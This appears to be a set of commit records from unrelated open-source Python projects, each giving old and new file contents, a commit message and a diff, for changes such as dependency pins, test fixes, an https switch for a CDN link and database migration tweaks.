Review URL: http://codereview.chromium.org/7472006 | Python | bsd-3-clause | old8xp/gyp_from_google,old8xp/gyp_from_google,old8xp/gyp_from_google,old8xp/gyp_from_google,old8xp/gyp_from_google | ---
+++
@@ -10,7 +10,9 @@
import TestGyp
-test = TestGyp.TestGyp()
+# 'settings' is only supported for make and scons (and will be removed there as
+# well eventually).
+test = TestGyp.TestGyp(formats=['make', 'scons'])
test.run_gyp('settings.gyp')
test.build('test.gyp', test.ALL)
test.pass_test() |
314c6bf4159d4a84e76635a441fb62dba0122b2f | tests/test_version.py | tests/test_version.py | # Tests
import os
from tests.base import BaseTestZSTD
class TestZSTD(BaseTestZSTD):
def setUp(self):
if os.getenv("ZSTD_EXTERNAL"):
self.ZSTD_EXTERNAL = True
self.VERSION = os.getenv("VERSION")
self.PKG_VERSION = os.getenv("PKG_VERSION")
v = [int(n) for n in self.VERS... | # Tests
import os
from tests.base import BaseTestZSTD, log
class TestZSTD(BaseTestZSTD):
def setUp(self):
if os.getenv("ZSTD_EXTERNAL"):
self.ZSTD_EXTERNAL = True
self.VERSION = os.getenv("VERSION")
self.PKG_VERSION = os.getenv("PKG_VERSION")
log.info("VERSION=%r" % s... | Fix version tests - don't sort, just reverse | Fix version tests - don't sort, just reverse
| Python | bsd-2-clause | sergey-dryabzhinsky/python-zstd,sergey-dryabzhinsky/python-zstd | ---
+++
@@ -2,7 +2,7 @@
import os
-from tests.base import BaseTestZSTD
+from tests.base import BaseTestZSTD, log
class TestZSTD(BaseTestZSTD):
@@ -11,13 +11,16 @@
self.ZSTD_EXTERNAL = True
self.VERSION = os.getenv("VERSION")
self.PKG_VERSION = os.getenv("PKG_VERSION")
- ... |
0527cea9db518b5b8fb63fe2bb3792a806fa421d | src/python/setup.py | src/python/setup.py | __author__ = 'tom'
from setuptools import setup
# Makes use of the sphinx and sphinx-pypi-upload packages. To build for local development
# use 'python setup.py develop'. To upload a version to pypi use 'python setup.py clean sdist upload'.
# To build docs use 'python setup.py build_sphinx' and to upload docs to pytho... | __author__ = 'tom'
from setuptools import setup
# Makes use of the sphinx and sphinx-pypi-upload packages. To build for local development
# use 'python setup.py develop'. To upload a version to pypi use 'python setup.py clean sdist upload'.
# To build docs use 'python setup.py build_sphinx' and to upload docs to pytho... | Change to use evdev 0.6.4 | Change to use evdev 0.6.4
Signed-off-by: tom <3abfbc22eec6ecd173d744487905db1fa6a502d5@gmail.com>
| Python | apache-2.0 | ApproxEng/approxeng.input | ---
+++
@@ -17,7 +17,7 @@
author_email='tomoinn@gmail.com',
license='ASL2.0',
packages=['approxeng.input'],
- install_requires=['evdev==0.5.0'],
+ install_requires=['evdev==0.6.4'],
include_package_data=True,
test_suite='nose.collector',
tests_require=['nose'], |
faf067ec4f5189a7a0b12fc78b62373a8f997ac8 | scripts/migration/migrate_index_for_existing_files.py | scripts/migration/migrate_index_for_existing_files.py | """
Saves every file to have new save() logic index those files.
"""
import sys
import logging
from website.app import init_app
from website.files.models.osfstorage import OsfStorageFile
logger = logging.getLogger(__name__)
def main():
init_app(routes=False)
dry_run = 'dry' in sys.argv
logger.warn('Curr... | """
Saves every file to have new save() logic index those files.
"""
import sys
import logging
from website.app import init_app
from website.search import search
from website.files.models.osfstorage import OsfStorageFile
logger = logging.getLogger(__name__)
def main():
init_app(routes=False)
dry_run = 'dry'... | Change migration to update_file rather than save it | Change migration to update_file rather than save it
| Python | apache-2.0 | billyhunt/osf.io,brianjgeiger/osf.io,zachjanicki/osf.io,brandonPurvis/osf.io,haoyuchen1992/osf.io,abought/osf.io,caseyrygt/osf.io,crcresearch/osf.io,mluo613/osf.io,caneruguz/osf.io,zamattiac/osf.io,danielneis/osf.io,leb2dg/osf.io,kwierman/osf.io,SSJohns/osf.io,aaxelb/osf.io,haoyuchen1992/osf.io,HalcyonChimera/osf.io,am... | ---
+++
@@ -5,6 +5,7 @@
import logging
from website.app import init_app
+from website.search import search
from website.files.models.osfstorage import OsfStorageFile
logger = logging.getLogger(__name__)
@@ -19,7 +20,7 @@
for file_ in OsfStorageFile.find():
logger.info('File with _id {0} and name... |
df4a437142be6dff08c7039c1b586391c922f70e | tests/main/views/test_feedback.py | tests/main/views/test_feedback.py | import mock
from ...helpers import BaseApplicationTest
class TestFeedbackForm(BaseApplicationTest):
def _post(self):
return self.client.post('/feedback', data={
'uri': 'test:some-uri',
'what_doing': 'test: what doing text',
'what_happened': 'test: what happened text'})
... | Add tests for feedback submission view. | Add tests for feedback submission view.
https://trello.com/c/Uak7y047/8-feedback-forms
| Python | mit | alphagov/digitalmarketplace-buyer-frontend,alphagov/digitalmarketplace-buyer-frontend,alphagov/digitalmarketplace-buyer-frontend,alphagov/digitalmarketplace-buyer-frontend | ---
+++
@@ -0,0 +1,23 @@
+import mock
+from ...helpers import BaseApplicationTest
+
+
+class TestFeedbackForm(BaseApplicationTest):
+ def _post(self):
+ return self.client.post('/feedback', data={
+ 'uri': 'test:some-uri',
+ 'what_doing': 'test: what doing text',
+ 'what_hap... | |
8136a0badc5c3eebb4e7772c1ff9a950f82e04fe | emstrack/forms.py | emstrack/forms.py | from django.contrib.gis.forms import widgets
class LeafletPointWidget(widgets.BaseGeometryWidget):
template_name = 'leaflet/leaflet.html'
class Media:
css = {
'all': ('http://cdn.leafletjs.com/leaflet/v0.7.7/leaflet.css',
'leaflet/css/location_form.css',
... | from django.contrib.gis.forms import widgets
class LeafletPointWidget(widgets.BaseGeometryWidget):
template_name = 'leaflet/leaflet.html'
class Media:
css = {
'all': ('https://cdn.leafletjs.com/leaflet/v0.7.7/leaflet.css',
'leaflet/css/location_form.css',
... | Update leaflet request to be over https | Update leaflet request to be over https
| Python | bsd-3-clause | EMSTrack/WebServerAndClient,EMSTrack/WebServerAndClient,EMSTrack/WebServerAndClient | ---
+++
@@ -5,12 +5,12 @@
class Media:
css = {
- 'all': ('http://cdn.leafletjs.com/leaflet/v0.7.7/leaflet.css',
+ 'all': ('https://cdn.leafletjs.com/leaflet/v0.7.7/leaflet.css',
'leaflet/css/location_form.css',
'leaflet/css/LeafletWidget.... |
1c3ff4552b82183263ead0aefe47b867a7b2022e | 10_anaconda/jupyter_notebook_config.py | 10_anaconda/jupyter_notebook_config.py | # Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
from jupyter_core.paths import jupyter_data_dir
import subprocess
import os
import errno
import stat
c = get_config()
c.NotebookApp.ip = '*'
c.NotebookApp.port = 8888
c.NotebookApp.open_browser = False
# Generate a s... | # Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
from jupyter_core.paths import jupyter_data_dir
import subprocess
import os
import os.path
import errno
import stat
c = get_config()
c.NotebookApp.ip = '*'
c.NotebookApp.port = 8888
c.NotebookApp.open_browser = False
... | Fix certificate regenerating each startup | Fix certificate regenerating each startup
| Python | apache-2.0 | LamDang/docker-datascience,LamDang/docker-datascience | ---
+++
@@ -4,6 +4,7 @@
from jupyter_core.paths import jupyter_data_dir
import subprocess
import os
+import os.path
import errno
import stat
@@ -16,21 +17,22 @@
if 'GEN_CERT' in os.environ:
dir_name = jupyter_data_dir()
pem_file = os.path.join(dir_name, 'notebook.pem')
- try:
- os.makedirs... |
a70bb058bd93831b755079f5fee495088b620c6d | taiga/locale/api.py | taiga/locale/api.py | # Copyright (C) 2015 Andrey Antukh <niwi@niwi.be>
# Copyright (C) 2015 Jesús Espino <jespinog@gmail.com>
# Copyright (C) 2015 David Barragán <bameda@dbarragan.com>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the F... | # Copyright (C) 2015 Andrey Antukh <niwi@niwi.be>
# Copyright (C) 2015 Jesús Espino <jespinog@gmail.com>
# Copyright (C) 2015 David Barragán <bameda@dbarragan.com>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the F... | Add bidi (right-to-left layout) attr to locale resource | Add bidi (right-to-left layout) attr to locale resource
| Python | agpl-3.0 | crr0004/taiga-back,CoolCloud/taiga-back,Rademade/taiga-back,seanchen/taiga-back,Tigerwhit4/taiga-back,seanchen/taiga-back,astronaut1712/taiga-back,dycodedev/taiga-back,dycodedev/taiga-back,WALR/taiga-back,forging2012/taiga-back,xdevelsistemas/taiga-back-community,xdevelsistemas/taiga-back-community,rajiteh/taiga-back,T... | ---
+++
@@ -26,5 +26,5 @@
permission_classes = (permissions.LocalesPermission,)
def list(self, request, *args, **kwargs):
- locales = [{"code": c, "name": n} for c, n in settings.LANGUAGES]
+ locales = [{"code": c, "name": n, "bidi": c in settings.LANGUAGES_BIDI} for c, n in settings.LANGUAG... |
e0e1b41c93fdb0c148638f6c2f33e3d47c3ec17b | slot/routes.py | slot/routes.py | from slot import basic_auth
from flask_login import login_required
from slot.main import app
from slot import controller as con
@app.route('/')
@app.route('/dashboard')
@login_required
def dashboard():
return con.dashboard()
@app.route('/new', methods=['GET', 'POST'])
@login_required
def render_new_procedure_f... | from flask_login import login_required
from slot.main import app
from slot import controller as con
from slot import basic_auth
@app.route('/')
@app.route('/dashboard')
@login_required
def dashboard():
return con.dashboard()
@app.route('/new', methods=['GET', 'POST'])
@login_required
def render_new_procedure_f... | Move import statement so that it was with other local imports | Move import statement so that it was with other local imports
| Python | mit | nhshd-slot/SLOT,nhshd-slot/SLOT,nhshd-slot/SLOT | ---
+++
@@ -1,8 +1,8 @@
-from slot import basic_auth
from flask_login import login_required
from slot.main import app
from slot import controller as con
+from slot import basic_auth
@app.route('/') |
0a0ae457555be952e02b51642b7c9bdaf85a7e5c | trac/upgrades/db20.py | trac/upgrades/db20.py | from trac.db import Table, Column, Index, DatabaseManager
from trac.core import TracError
from trac.versioncontrol.cache import CACHE_YOUNGEST_REV
def do_upgrade(env, ver, cursor):
"""Modify the repository cache scheme (if needed)
Now we use the 'youngest_rev' entry in the system table
to explicit... | from trac.db import Table, Column, Index, DatabaseManager
from trac.core import TracError
from trac.versioncontrol.cache import CACHE_YOUNGEST_REV
def do_upgrade(env, ver, cursor):
"""Modify the repository cache scheme (if needed)
Now we use the 'youngest_rev' entry in the system table
to explicitly store... | Make db upgrade step 20 more robust. | Make db upgrade step 20 more robust.
git-svn-id: eda3d06fcef731589ace1b284159cead3416df9b@5815 af82e41b-90c4-0310-8c96-b1721e28e2e2
| Python | bsd-3-clause | walty8/trac,netjunki/trac-Pygit2,jun66j5/trac-ja,walty8/trac,netjunki/trac-Pygit2,jun66j5/trac-ja,walty8/trac,jun66j5/trac-ja,jun66j5/trac-ja,walty8/trac,netjunki/trac-Pygit2 | ---
+++
@@ -12,11 +12,11 @@
try:
repos = env.get_repository()
youngest = repos.get_youngest_rev_in_cache(db) or ''
- # deleting first, for the 0.11dev and 0.10.4dev users
- cursor.execute("DELETE FROM system WHERE name=%s",
- (CACHE_YOUNGEST_REV,))
- c... |
3bc8a7208865bac6364ce65410dd828e576c30c1 | flask_boost/project/application/models/user.py | flask_boost/project/application/models/user.py | # coding: utf-8
import datetime
from ._base import db
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(50), unique=True)
email = db.Column(db.String(50))
avatar = db.Column(db.String(200))
password = db.Column(db.String(200))
created_at = db.Column(... | # coding: utf-8
import datetime
from ._base import db
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(50), unique=True)
email = db.Column(db.String(50), unique=True)
avatar = db.Column(db.String(200))
password = db.Column(db.String(200))
created_at... | Add unique constraint to User.email | Add unique constraint to User.email
| Python | mit | 1045347128/Flask-Boost,1045347128/Flask-Boost,hustlzp/Flask-Boost,1045347128/Flask-Boost,hustlzp/Flask-Boost,hustlzp/Flask-Boost,1045347128/Flask-Boost,hustlzp/Flask-Boost | ---
+++
@@ -6,7 +6,7 @@
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(50), unique=True)
- email = db.Column(db.String(50))
+ email = db.Column(db.String(50), unique=True)
avatar = db.Column(db.String(200))
password = db.Column(db.String(200))
... |
a2c69058316971cd753edba607160d62df337b77 | tests/test_middleware.py | tests/test_middleware.py | """Tests for respite.middleware."""
from nose.tools import *
from urllib import urlencode
from django.utils import simplejson as json
from django.test.client import Client, RequestFactory
from respite.middleware import *
client = Client()
def test_json_middleware():
request = RequestFactory().post(
pa... | """Tests for respite.middleware."""
from nose.tools import *
from urllib import urlencode
from django.utils import simplejson as json
from django.test.client import Client, RequestFactory
from respite.middleware import *
client = Client()
def test_json_middleware():
request = RequestFactory().post(
pa... | Modify test to test for nested JSON | Modify test to test for nested JSON
| Python | mit | jgorset/django-respite,jgorset/django-respite,jgorset/django-respite | ---
+++
@@ -17,7 +17,11 @@
data = json.dumps({
'foo': 'foo',
'bar': 'bar',
- 'baz': 'baz'
+ 'baz': 'baz',
+ 'hogera': [
+ {'hoge': 'hoge'},
+ {'fuga': 'fuga'}
+ ]
}),
content_type = 'applicat... |
93913720a88c601db6d0094f346bbdeb7b45ed34 | numpy_groupies/__init__.py | numpy_groupies/__init__.py | def dummy_no_impl(*args, **kwargs):
raise NotImplementedError("You may need to install another package (numpy, "
"weave, or numba) to access a working implementation.")
from .aggregate_purepy import aggregate as aggregate_py
aggregate = aggregate_py
try:
import numpy as np
except... | def dummy_no_impl(*args, **kwargs):
raise NotImplementedError("You may need to install another package (numpy, "
"weave, or numba) to access a working implementation.")
from .aggregate_purepy import aggregate as aggregate_py
aggregate = aggregate_py
try:
import numpy as np
except... | Make numba the default implementation, as it beats weave in major parts of the benchmarks now | Make numba the default implementation, as it beats weave in major parts of the benchmarks now
| Python | bsd-2-clause | ml31415/numpy-groupies | ---
+++
@@ -24,15 +24,6 @@
try:
- import numba
-except ImportError:
- aggregate_nb = None
-else:
- from .aggregate_numba import aggregate as aggregate_nb
- aggregate = aggregate_nb
-
-
-try:
try:
import weave
except ImportError:
@@ -44,5 +35,14 @@
aggregate = aggregate_wv
... |
d30c3b9c574566d9c69fc1322b6a2dfec3a6eb67 | opps/core/admin/article.py | opps/core/admin/article.py | # -*- coding: utf-8 -*-
from django.contrib import admin
from opps.core.models import Post
class PostAdmin(admin.ModelAdmin):
prepopulated_fields = {"slug": ("title",)}
def save_model(self, request, obj, form, change):
if not obj.user:
obj.user = request.user
obj.save()
admin.si... | # -*- coding: utf-8 -*-
from django.contrib import admin
from django import forms
from opps.core.models import Post
from redactor.widgets import RedactorEditor
class PostAdminForm(forms.ModelForm):
class Meta:
model = Post
widgets = {'content': RedactorEditor(),}
class PostAdmin(admin.ModelAd... | Create post admin form, custom content field add texteditor | Create post admin form, custom content field
add texteditor
| Python | mit | YACOWS/opps,YACOWS/opps,williamroot/opps,opps/opps,williamroot/opps,jeanmask/opps,opps/opps,williamroot/opps,opps/opps,jeanmask/opps,YACOWS/opps,YACOWS/opps,opps/opps,jeanmask/opps,jeanmask/opps,williamroot/opps | ---
+++
@@ -1,11 +1,21 @@
# -*- coding: utf-8 -*-
from django.contrib import admin
+from django import forms
from opps.core.models import Post
+from redactor.widgets import RedactorEditor
+
+
+
+class PostAdminForm(forms.ModelForm):
+ class Meta:
+ model = Post
+ widgets = {'content': Redactor... |
428a6cf3b0af58ba6b3a9514161db2a1151864b0 | slither/tests/svgTest.py | slither/tests/svgTest.py | # usr/bin/env python3
# svgTest.py - Test Slither's SVG support
import slither
if slither.svgSupport:
print("We have SVG support!")
else:
print("No SVGs today :(")
svg = slither.Sprite()
svg.addCostume("assets/svg Logo.svg", "svg")
svg.costumeNumber = 1
svg.scale = 1
svg.showBoundingBox = False
svg.goto(100,... | # usr/bin/env python3
# svgTest.py - Test Slither's SVG support
import slither
if slither.svgSupport:
print("We have SVG support!")
else:
print("No SVGs today :(")
svg = slither.Sprite()
svg.addCostume("assets/SVG Logo.svg", "svg")
svg.costumeNumber = 1
svg.scale = 1
svg.showBoundingBox = False
svg.goto(100,... | Fix test to work on Linux | Fix test to work on Linux
| Python | mit | PySlither/Slither,PySlither/Slither | ---
+++
@@ -9,14 +9,14 @@
print("No SVGs today :(")
svg = slither.Sprite()
-svg.addCostume("assets/svg Logo.svg", "svg")
+svg.addCostume("assets/SVG Logo.svg", "svg")
svg.costumeNumber = 1
svg.scale = 1
svg.showBoundingBox = False
svg.goto(100, 300)
svg2 = slither.Sprite()
-svg2.addCostume("assets/svg ... |
20f4a6ee8421a9827ff04f0fc3b065377775b860 | test/single_test.py | test/single_test.py | import sys
import unittest
from unittest import TestSuite
def suite(test_name):
suite = unittest.TestSuite()
suite.addTest(unittest.defaultTestLoader.loadTestsFromName(test_name))
return suite
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage {test_name}")
sys.exit(1)
... | import sys
import unittest
from unittest import TestSuite
def suite(test_name):
suite = unittest.TestSuite()
suite.addTest(unittest.defaultTestLoader.loadTestsFromName(test_name))
return suite
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage {test_name}")
sys.exit(1)
... | Change single test verbosity to 2 | Change single test verbosity to 2
| Python | mit | JakubPetriska/poker-cfr,JakubPetriska/poker-cfr | ---
+++
@@ -14,5 +14,5 @@
print("Usage {test_name}")
sys.exit(1)
- runner = unittest.TextTestRunner()
+ runner = unittest.TextTestRunner(verbosity=2)
runner.run(suite(sys.argv[1])) |
e5fdd60d9134bdb2e234b3eaffa2812c5ac288c9 | tests/core_tests.py | tests/core_tests.py | # -*- coding: utf-8 -*-
import datetime
from openfisca_tunisia import TunisiaTaxBenefitSystem
from openfisca_tunisia.scenarios import init_single_entity
tax_benefit_system = TunisiaTaxBenefitSystem()
def check_1_parent(year = 2011):
scenario = init_single_entity(
tax_benefit_system.new_scenario(),
... | # -*- coding: utf-8 -*-
import datetime
from openfisca_tunisia import TunisiaTaxBenefitSystem
from openfisca_tunisia.scenarios import init_single_entity
tax_benefit_system = TunisiaTaxBenefitSystem()
def check_1_parent(year = 2011):
scenario = init_single_entity(
tax_benefit_system.new_scenario(),
... | Fix KeyError on test with axis | Fix KeyError on test with axis
| Python | agpl-3.0 | openfisca/openfisca-tunisia,openfisca/openfisca-tunisia | ---
+++
@@ -13,12 +13,14 @@
def check_1_parent(year = 2011):
scenario = init_single_entity(
tax_benefit_system.new_scenario(),
- axes = [dict(
- count = 3,
- name = 'salaire_imposable',
- max = 100000,
- min = 0,
- )],
+ axes = [[
+ ... |
bb007f6a2c0563d9fb908fae98b0e950af936810 | uchan/lib/models/post.py | uchan/lib/models/post.py | from sqlalchemy import Column, Integer, String, BigInteger, ForeignKey
from sqlalchemy.orm import relationship
from uchan.database import ModelBase
class Post(ModelBase):
__tablename__ = 'post'
id = Column(Integer(), primary_key=True)
thread_id = Column(Integer(), ForeignKey('thread.id'), nullable=Fals... | from sqlalchemy import Column, Integer, String, BigInteger, ForeignKey
from sqlalchemy.orm import relationship
from uchan.database import ModelBase
class Post(ModelBase):
__tablename__ = 'post'
id = Column(Integer(), primary_key=True)
thread_id = Column(Integer(), ForeignKey('thread.id'), nullable=Fals... | Use bigint for ip4, fits addresses bigger dan 2^31 | Use bigint for ip4, fits addresses bigger dan 2^31
| Python | mit | Floens/uchan,Floens/uchan,Floens/uchan,Floens/uchan,Floens/uchan | ---
+++
@@ -22,4 +22,4 @@
text = Column(String(), index=True)
refno = Column(Integer(), nullable=False, index=True)
password = Column(String())
- ip4 = Column(Integer(), nullable=False, index=True)
+ ip4 = Column(BigInteger(), nullable=False, index=True) |
0c91b7546dcf770c5c1f90bb41ad2de1998a62bb | lib/stango/shortcuts.py | lib/stango/shortcuts.py | import os
def render_template(template_name, **kwargs):
from jinja2 import Environment, FileSystemLoader
env = Environment(loader=FileSystemLoader('templates'))
tmpl = env.get_template(template_name)
return tmpl.render(**kwargs)
| import os
_env = None
def render_template(template_name, **kwargs):
from jinja2 import Environment, FileSystemLoader
global _env
if _env is None:
_env = Environment(loader=FileSystemLoader('templates'))
tmpl = _env.get_template(template_name)
return tmpl.render(**kwargs)
| Use global Jinja2 environment in render_template | Use global Jinja2 environment in render_template
Before this patch, a new environment was created in every call of
render_template().
| Python | mit | akheron/stango | ---
+++
@@ -1,9 +1,12 @@
import os
+_env = None
def render_template(template_name, **kwargs):
from jinja2 import Environment, FileSystemLoader
+ global _env
- env = Environment(loader=FileSystemLoader('templates'))
- tmpl = env.get_template(template_name)
+ if _env is None:
+ _env = Envi... |
eb47f234b865fb3ffc0d91c44ba114a73423595e | analyser/tasks.py | analyser/tasks.py | import os
import time
import rethinkdb as r
import requests
from krunchr.vendors.celery import celery, db
@celery.task(bind=True)
def get_file(self, url, path):
name, ext = os.path.splitext(url)
name = str(int(time.time()))
path = "%s/%s%s" % (path, name, ext)
response = requests.get(url)
with open(path... | import os
import time
from shutil import copy2
from subprocess import Popen, PIPE
import rethinkdb as r
import requests
from krunchr.vendors.celery import celery, db, config
@celery.task(bind=True)
def get_file(self, url, path):
name, ext = os.path.splitext(url)
name = str(int(time.time()))
path = "%s/%s%s" ... | Create a task for data pushing | Create a task for data pushing
| Python | apache-2.0 | vtemian/kruncher | ---
+++
@@ -1,10 +1,12 @@
import os
import time
+from shutil import copy2
+from subprocess import Popen, PIPE
import rethinkdb as r
import requests
-from krunchr.vendors.celery import celery, db
+from krunchr.vendors.celery import celery, db, config
@celery.task(bind=True)
@@ -21,3 +23,20 @@
r.table('... |
13f8d069f63b9bb22a268a27daae1434587807fc | competencies/tests/test_fork_schools.py | competencies/tests/test_fork_schools.py | from django.test import TestCase
from competencies.models import *
import testing_utilities as tu
class TestForkSchools(TestCase):
def setUp(self):
# Create a school.
self.school_0 = tu.create_school(name="School 0")
def test_fork_school(self):
# Make a new school, and fork school_o'... | from django.test import TestCase
from competencies.models import *
import testing_utilities as tu
class TestForkSchools(TestCase):
def setUp(self):
num_schools = 3
num_subject_areas = 5
# Create some schools.
self.schools = []
for school_num in range(0, num_schools):
... | Test builds a number of schools, each of which has a number of subject areas. | Test builds a number of schools, each of which has a number of subject areas.
| Python | mit | openlearningtools/opencompetencies,openlearningtools/opencompetencies | ---
+++
@@ -6,11 +6,34 @@
class TestForkSchools(TestCase):
def setUp(self):
- # Create a school.
- self.school_0 = tu.create_school(name="School 0")
+ num_schools = 3
+ num_subject_areas = 5
+
+ # Create some schools.
+ self.schools = []
+ for school_num in ran... |
9f6b12b2579f228fd9d04151771a22474a2744a3 | tabula/wrapper.py | tabula/wrapper.py | import subprocess, io, shlex, os
import pandas as pd
def read_pdf_table(input_path, options=""):
jar_path = os.path.abspath(os.path.dirname(__file__))
JAR_NAME = "tabula-0.9.1-jar-with-dependencies.jar"
args = ["java", "-jar"] + [jar_path + "/" + JAR_NAME] + shlex.split(options) + [input_path]
result = subpro... | import subprocess, io, shlex, os
import pandas as pd
def read_pdf_table(input_path, options=""):
JAR_NAME = "tabula-0.9.1-jar-with-dependencies.jar"
jar_dir = os.path.abspath(os.path.dirname(__file__))
jar_path = os.path.join(jar_dir, JAR_NAME)
args = ["java", "-jar", jar_path] + shlex.split(options) + [input_... | Use os.path.join for Jar path to make it OS independent | Use os.path.join for Jar path to make it OS independent
| Python | mit | chezou/tabula-py | ---
+++
@@ -2,9 +2,10 @@
import pandas as pd
def read_pdf_table(input_path, options=""):
- jar_path = os.path.abspath(os.path.dirname(__file__))
JAR_NAME = "tabula-0.9.1-jar-with-dependencies.jar"
- args = ["java", "-jar"] + [jar_path + "/" + JAR_NAME] + shlex.split(options) + [input_path]
+ jar_dir = os.pa... |
77e237ce2d95e28c9b4ac7b5716131b3da268aec | tests/test_qiniu.py | tests/test_qiniu.py | import os
from os.path import dirname, join
import uuid
import qiniu.conf
import qiniu.io
import qiniu.rs
import qiniu.rsf
QINIU_ACCESS_KEY = os.environ.get('QINIU_ACCESS_KEY')
QINIU_SECRET_KEY = os.environ.get('QINIU_SECRET_KEY')
QINIU_BUCKET_NAME = os.environ.get('QINIU_BUCKET_NAME')
QINIU_BUCKET_DOMAIN = os.envir... | import os
from os.path import dirname, join
import uuid
import qiniu.conf
import qiniu.io
import qiniu.rs
import qiniu.rsf
QINIU_ACCESS_KEY = os.environ.get('QINIU_ACCESS_KEY')
QINIU_SECRET_KEY = os.environ.get('QINIU_SECRET_KEY')
QINIU_BUCKET_NAME = os.environ.get('QINIU_BUCKET_NAME')
QINIU_BUCKET_DOMAIN = os.envir... | Test upload with a small file | Test upload with a small file
| Python | mit | jeffrey4l/django-qiniu-storage,jackeyGao/django-qiniu-storage,Mark-Shine/django-qiniu-storage,glasslion/django-qiniu-storage | ---
+++
@@ -19,7 +19,7 @@
QINIU_PUT_POLICY= qiniu.rs.PutPolicy(QINIU_BUCKET_NAME)
def test_put_file():
- ASSET_FILE_NAME = 'bootstrap.min.css'
+ ASSET_FILE_NAME = 'jquery-1.11.1.min.js'
with open(join(dirname(__file__),'assets', ASSET_FILE_NAME), 'rb') as assset_file:
text = assset_file.read()... |
18808b6594d7e2b1c81a2cf4351708e179fb29bb | tests/test_utils.py | tests/test_utils.py | # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from badwolf.utils import sanitize_sensitive_data
def test_sanitize_basic_auth_urls():
text = 'abc http://user:pwd@example.com def'
sanitized = sanitize_sensitive_data(text)
assert 'user' not in sanitized
assert 'pwd' not... | # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from badwolf.utils import sanitize_sensitive_data
def test_sanitize_basic_auth_urls():
text = 'abc http://user:pwd@example.com def'
sanitized = sanitize_sensitive_data(text)
assert 'user' not in sanitized
assert 'pwd' not... | Update test case for sanitize_sensitive_data | Update test case for sanitize_sensitive_data
| Python | mit | bosondata/badwolf,bosondata/badwolf,bosondata/badwolf | ---
+++
@@ -32,3 +32,12 @@
assert 'pwd' not in sanitized
assert 'http://example.com' in sanitized
assert 'git+https://***:***@example.com' in sanitized
+
+ lots_of_urls = ['-e git+https://user:pwd@example.com abcd'] * 1000
+ lots_of_urls.extend(['abc http://example.com def'] * 1000)
+ text = ... |
db45239e050e6699a2c49fe4156b100c42481c9f | wsme/tests/test_spore.py | wsme/tests/test_spore.py | import unittest
try:
import simplejson as json
except ImportError:
import json
from wsme.tests.protocol import WSTestRoot
import wsme.tests.test_restjson
import wsme.spore
class TestSpore(unittest.TestCase):
def test_spore(self):
spore = wsme.spore.getdesc(WSTestRoot())
print(spore)
... | import unittest
try:
import simplejson as json
except ImportError:
import json
from wsme.tests.protocol import WSTestRoot
import wsme.tests.test_restjson
import wsme.spore
class TestSpore(unittest.TestCase):
def test_spore(self):
spore = wsme.spore.getdesc(WSTestRoot())
print(spore)
... | Test SPORE crud function descriptions | Test SPORE crud function descriptions
| Python | mit | stackforge/wsme | ---
+++
@@ -29,3 +29,23 @@
assert m['path'] == '/argtypes/setdecimal'
assert m['required_params'] == ['value']
assert m['method'] == 'GET'
+
+ m = spore['methods']['crud_create']
+ assert m['path'] == '/crud'
+ assert m['method'] == 'PUT'
+ assert m['optional_par... |
55c16e409d2919d0a32f7fce24c01059576ce867 | linked_accounts/backends.py | linked_accounts/backends.py | from django.contrib.auth.models import User
from linked_accounts.handlers import AuthHandler
from oauth_flow.handlers import OAuth20Token
class LinkedAccountsBackend(object):
supports_object_permissions = False
supports_anonymous_user = False
supports_inactive_user = False
def get_user(self, user_... | from django.contrib.auth.models import User
from linked_accounts.handlers import AuthHandler
from oauth_flow.handlers import OAuth20Token
class LinkedAccountsBackend(object):
supports_object_permissions = False
supports_anonymous_user = False
supports_inactive_user = False
def get_user(self, user_... | Use OAuth20Token only for facebook, google | Use OAuth20Token only for facebook, google
| Python | mit | zen4ever/django-linked-accounts,zen4ever/django-linked-accounts | ---
+++
@@ -15,7 +15,7 @@
return User.objects.get(id=user_id)
def authenticate(self, service=None, token=None, expires=None):
- if isinstance(token, basestring):
+ if isinstance(token, basestring) and service in ['facebook', 'google']:
token = OAuth20Token(token, expires)
... |
10e26b52f94bb1a6345d2c1540a0a09a82b7831c | baseflask/refresh_varsnap.py | baseflask/refresh_varsnap.py | """
This script refreshes production varsnap snaps
"""
import os
from syspath import git_root # NOQA
from app import serve
os.environ['ENV'] = 'production'
app = serve.app.test_client()
app.get('/')
app.get('/health')
app.get('/robots.txt')
app.get('/asdf')
| """
This script refreshes production varsnap snaps
"""
import os
from syspath import git_root # NOQA
from app import serve
os.environ['ENV'] = 'production'
app = serve.app.test_client()
app.get('/')
app.get('/health')
app.get('/humans.txt')
app.get('/robots.txt')
app.get('/.well-known/security.txt')
app.get('/asd... | Update varsnap refresh with new endpoints | Update varsnap refresh with new endpoints
| Python | mit | albertyw/base-flask,albertyw/base-flask,albertyw/base-flask,albertyw/base-flask | ---
+++
@@ -13,5 +13,7 @@
app = serve.app.test_client()
app.get('/')
app.get('/health')
+app.get('/humans.txt')
app.get('/robots.txt')
+app.get('/.well-known/security.txt')
app.get('/asdf') |
79fb90779e5d85978cdb7dbb36f51baa96190f77 | bci/__init__.py | bci/__init__.py | from fakebci import FakeBCI | import os
import sys
import platform
import shutil
import inspect
#
#def machine():
# """Return type of machine."""
# if os.name == 'nt' and sys.version_info[:2] < (2,7):
# return os.environ.get("PROCESSOR_ARCHITEW6432",
# os.environ.get('PROCESSOR_ARCHITECTURE', ''))
# else:
# re... | Make some changes to the bci package file. | Make some changes to the bci package file.
| Python | bsd-3-clause | NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock | ---
+++
@@ -1 +1,38 @@
-from fakebci import FakeBCI
+import os
+import sys
+import platform
+import shutil
+import inspect
+
+#
+#def machine():
+# """Return type of machine."""
+# if os.name == 'nt' and sys.version_info[:2] < (2,7):
+# return os.environ.get("PROCESSOR_ARCHITEW6432",
+# os... |
